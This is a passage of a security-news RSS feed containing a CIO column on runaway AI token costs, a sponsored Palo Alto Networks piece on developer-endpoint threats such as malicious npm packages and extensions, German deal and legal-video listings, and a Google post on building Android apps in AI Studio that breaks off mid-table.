<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 25. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3694188/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-25-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694188/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-25-juli/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784964304"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784964304">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Mama als Fahrlehrerin & Theorie per App! Große Führerschein-Reform beschlossen.]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 51x - Views:745 Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt

Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg

▬▬▬▬▬▬▬▬▬▬▬▬▬ 

Der Fü...]]></description>
<link>https://tsecurity.de/de/3694104/videos/mama-als-fahrlehrerin-theorie-per-app-grosse-fuehrerschein-reform-beschlossen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694104/videos/mama-als-fahrlehrerin-theorie-per-app-grosse-fuehrerschein-reform-beschlossen/</guid>
<pubDate>Sat, 25 Jul 2026 17:31:32 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 51x - Views:745 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mhHZtTh1gwQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt<br />
<br />
Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Der Führerschein ist zum Luxusgut geworden – im Schnitt rund 3.400 Euro, teils bis 4.500 Euro. Jetzt hat gleich zweimal die Politik geliefert: Die EU hat eine neue Führerscheinrichtlinie beschlossen, und das Bundeskabinett hat eine Reform des Fahrlehrergesetzes auf den Weg gebracht. Theorie per App, weniger Prüfungsfragen, Papa als Fahrlehrer und der digitale Führerschein aufs Handy. Wir erklären euch, was davon wirklich beschlossen ist, ab wann es kommt, ob der Lappen billiger wird – und warum die Fahrlehrer von einem „Angriff auf die Verkehrssicherheit“ sprechen.<br />
<br />
Bundesregierung – Reform der Fahrschulausbildung (beschlossener Inhalt): https://www.bundesregierung.de/breg-de/aktuelles/kabinett-startet-reform-fahrschulausbildung-2431088<br />
BMV-Pressemitteilung – Bezahlbarer Führerschein: https://www.bmv.de/SharedDocs/DE/Pressemitteilungen/2026/043-schnieder-bezahlbarer-fuehrerschein.html<br />
ZDFheute – Führerscheinreform: Das ist geplant: https://www.zdfheute.de/politik/deutschland/fuehrerschein-reform-plaene-ueberblick-schnieder-100.html<br />
ZDFheute – Laienausbildung und das österreichische Vorbild: https://www.zdfheute.de/politik/deutschland/fuehrerschein-reform-eltern-laienausbildung-oesterreich-100.html<br />
auto motor und sport – Fahrschul-Reform im Detail: https://www.auto-motor-und-sport.de/verkehr/radikale-fahrschul-reform-so-einfach-soll-der-fuehrerschein-werden/<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Learn 25 languages with the new Rosetta Stone Sapphire for $128]]></title>
<description><![CDATA[New users can save on the latest language-learning tech with a one-year subscription to Rosetta Stone Sapphire at a big discount.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3693960/ios-mac-os/learn-25-languages-with-the-new-rosetta-stone-sapphire-for-128/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693960/ios-mac-os/learn-25-languages-with-the-new-rosetta-stone-sapphire-for-128/</guid>
<pubDate>Sat, 25 Jul 2026 15:35:17 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="440" src="https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1440x812.jpg" class="attachment-large size-large wp-post-image" alt="Photo of the Rosetta Stone Sapphire app opened on a mobile phone held by hand" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1440x812.jpg 1440w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-400x226.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1536x866.jpg 1536w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-768x433.jpg 768w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1020x575.jpg 1020w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715.jpg 1560w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>New users can save on the latest language-learning tech with a one-year subscription to Rosetta Stone Sapphire at a big discount.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
